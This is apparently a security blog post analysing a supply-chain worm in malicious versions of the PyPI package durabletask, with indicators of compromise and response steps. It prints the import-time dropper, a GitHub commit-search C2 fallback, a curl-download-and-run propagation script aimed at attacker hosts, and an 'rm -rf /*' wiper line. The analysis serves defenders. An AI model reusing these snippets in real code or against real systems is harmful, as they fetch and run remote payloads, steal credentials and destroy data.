dyb

Mini Shai-Hulud: Trust Stack on Fire

אִם יִרְצֶה הַשֵּׁם

Update to: Mini Shai-Hulud: npm Worm, SLSA Forgery, and the CI Pipeline as Attack Surface

Developers running Claude Code or Codex in environments that also install packages from external registries need to treat their AI tool configs as credential material, not as application state.


The npm campaign documented in the prior post ran against @tanstack, @mistralai, and 167 other namespaces. One week later, the same worm crossed into PyPI. Same architecture, new ecosystem, new payload capabilities: a disk wiper keyed to Israeli and Iranian locale settings, a cryptographically authenticated GitHub dead-drop for C2 resilience, and explicit targeting of Claude Code and Codex configs alongside the usual cloud credentials.

This post covers what is new. Read the prior post for the npm propagation mechanics and the SLSA failure analysis.


What changed: durabletask on PyPI (May 19, 2026)

Three malicious versions of Microsoft's durabletask package -- 1.4.1, 1.4.2, 1.4.3 -- appeared on PyPI. The package is a Python workflow orchestration library for Azure. It lives in cloud-native CI/CD environments, which is the target.

The backdoor went into __init__.py and fires at import time:

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )
        subprocess.Popen(
            ["python3", "/tmp/managed.pyz"],
            stdout=devnull, stderr=devnull, stdin=devnull,
            start_new_session=True
        )
    except Exception:
        pass

Linux-only. Silent. Detached process. except: pass swallows every error. A developer running import durabletask sees nothing.

Across the three versions the dropper spread to more entry points:

Version Infected files
1.4.1 durabletask/__init__.py
1.4.2 + task.py
1.4.3 + entities/__init__.py, extensions/__init__.py, payload/__init__.py

By 1.4.3, five separate entry points trigger the dropper. from durabletask.entities import ... is enough. The C2 domain and dropper logic are byte-for-byte identical across all three; only the coverage changed. This is a deliberate widening of the blast radius across minor versions.


rope.pyz: what it does before running

The dropper fetches rope.pyz (SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce), a Python zipapp with a __main__.py entrypoint and 19 files.

Before doing anything, it runs four checks:

  1. Platform: exits if not Linux.
  2. Locale: exits if $LANG starts with ru. The payload does not run on Russian systems.
  3. CPU count: exits if os.cpu_count() <= 2. This kills most automated sandboxes.
  4. Dependencies: silently installs cryptography via pip if absent, with --break-system-packages fallback.

Pass all four and the main orchestration starts.


FIRESCALE: C2 that survives domain seizure

The payload checks in with check.git-service[.]com/v1/models. If that returns 200 OK, the response is base64-decoded and executed. If the primary C2 is unreachable, it falls back to GitHub:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
    headers={"Accept": "application/vnd.github.cloak-preview+json",
             "User-Agent": "git/2.39.0"},
)

Each matching commit is checked for: FIRESCALE <base64_url>.<base64_signature>. The URL is accepted only if its RSA-SHA256 signature verifies against a hardcoded 4096-bit public key embedded in the payload. Only the operator -- the holder of the matching private key -- can publish a valid new C2 address.

Domain seized or sinkholed: one public commit anywhere on GitHub and operations resume. The GitHub search API becomes a censorship-resistant, cryptographically authenticated fallback channel. Short of GitHub itself blocking the search endpoint, there is no perimeter control that stops this.


What it steals

Eight collection modules run concurrently via ThreadPoolExecutor.

Password managers. 1Password, Bitwarden, pass, gopass. For locked vaults, it scans env variables for *PASS*, *SECRET*, BW_*, parses shell history for bw unlock and op signin, and tries "anon" as a last-resort unlock.

90+ hardcoded credential paths. AWS credentials, GCP application default credentials, Azure access tokens, ~/.kube/config, ~/.vault-token, all of ~/.ssh/, ~/.docker/config.json, ~/.pypirc, ~/.npmrc, every .env in the home directory tree, Terraform state files, WireGuard .conf files, Tailscale state.

AI tooling. ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, configs for Zed, Continue, Kilo, and OpenCode. Claude Code and Codex are named targets. The worm is specifically after MCP server configurations and API keys stored in AI coding assistant state.

Docker. Queries /var/run/docker.sock directly. Enumerates all containers, extracts their environment variables. Cloud credentials passed as container env vars are common in Docker-based CI/CD.

AWS. Resolves credentials from env, then IMDS, then all named profiles. For each set, enumerates Secrets Manager and SSM Parameter Store across all 19 AWS regions including GovCloud, concurrently, with WithDecryption: True for SSM. Also enumerates SSM-managed EC2 instances for the propagation step below.

Azure, GCP, Kubernetes, HashiCorp Vault. All secrets from all vaults, all contexts, all namespaces. For Kubernetes, if kubectl is absent the payload downloads it from the official release CDN to /tmp/kubectl.

All collected data is gzip-compressed, AES-256-GCM encrypted with a per-session key, and that key is RSA-OAEP-SHA256 wrapped against the hardcoded operator public key. Only the operator decrypts.

Exfiltration falls back three ways: primary C2 POST, FIRESCALE-resolved mothership POST, and if none of those work, it creates a randomly-named public GitHub repository using any stolen GitHub token and uploads results.json there. Repository names come from a Russian folklore list: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY. Stable operator fingerprint.


Worm propagation: AWS and Kubernetes

With the enumerated EC2 instances, the payload sends ssm:SendCommand (document AWS-RunShellScript) to up to five online non-Windows instances:

MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

For Kubernetes, kubectl exec runs the same script into up to five running pods. Separate propagation markers: ~/.cache/.sys-update-check for AWS, ~/.cache/.sys-update-check-k8s for Kubernetes. Their presence confirms the worm logic ran on that host.


The disk wiper and geotargeting

When the primary C2 returns 200 OK, it activates roulette.py. The wiper is not automatic; the operator triggers it per victim deliberately.

It checks for Israeli or Iranian settings: $TZ for Jerusalem, Tel_Aviv, Tehran; reads /etc/timezone and /etc/localtime; checks $LANG, $LC_ALL, $LC_MESSAGES for he_IL or fa_IR.

On a one-in-six roll:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Downloads audio from C2, sets volume to 100% via pactl, plays via mpv, then wipes. The audio precedes the wipe by design.

The same module installs persistence before any wipe: writes to /usr/bin/pgmonitor.py or ~/.local/bin/pgmonitor.py, registers a systemd service named pgsql-monitor.service described as "PostgreSQL Monitor," set to restart on failure.


Taxonomic update

The prior post classified the npm wave as a Second-Order attack under the Bilar (2009) nth-Order Framework. The PyPI wave is the same order: two ancillary integrity layers the defender explicitly relies on are subverted (the PyPI registry and the publisher's release pipeline). The scope of the end system has widened. The payload now targets AI coding assistant configs as first-class credential stores, which was not in the npm variant.

The Emergent Insecurity lens from the prior post still applies. One addition: the FIRESCALE dead-drop is itself a weaponized Semantic Gap. The GitHub commit search API exists to help developers find code. The payload's use of RSA-signed beacons inside commit messages subverts that trusted index into a C2 channel that looks, from the outside, like normal developer activity.


Detection additions (PyPI wave)

  • Packages: durabletask==1.4.1, 1.4.2, 1.4.3
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
  • Markers: ~/.cache/.sys-update-check, ~/.cache/.sys-update-check-k8s
  • Persistence: pgsql-monitor.service, pgmonitor.py at /usr/bin/ or ~/.local/bin/
  • Network: check.git-service[.]com, t.m-kosche[.]com
  • GitHub: public repos with Russian folklore names created from stolen tokens
  • GitHub commit search: FIRESCALE in recent commits
  • AWS CloudTrail: SendCommand with document AWS-RunShellScript from the infected instance
  • Kubernetes audit logs: exec from the infected pod

Response additions

Before revoking any token: the npm wave planted a dead-man's switch that polls tokens every 60 seconds and runs rm -rf ~/ on revocation. Kill the polling process first. The same logic applies if the PyPI worm installed pgsql-monitor.service before you got to it.

Beyond the cloud credential rotation covered in the prior post: check ~/.config/claude/claude_desktop_config.json and every MCP config file on the host. Treat them the same as ~/.aws/credentials. Any API keys or MCP server tokens stored there are potentially exfiltrated.

For FIRESCALE resilience: a daily GitHub commit search for the string FIRESCALE costs one API call and will surface new dead-drop beacons before they activate against your fleet.


The structural lesson from the prior post holds and the PyPI wave adds one observation: the attack surface now explicitly includes the configs of AI coding assistants. That is not a side effect. Those files are on the hardcoded target list. Developers running Claude Code or Codex in environments that also install packages from external registries need to treat their AI tool configs as credential material, not as application state.


Sources: Aikido Security blog May 12 and May 19 2026 (Raphael Silva). iTnews May 21 2026. Emergent Insecurity framework, arXiv:2509.11173. Bilar (2009) nth-Order Attack Framework.

← Previous
Ricky polyglot software developer
Next →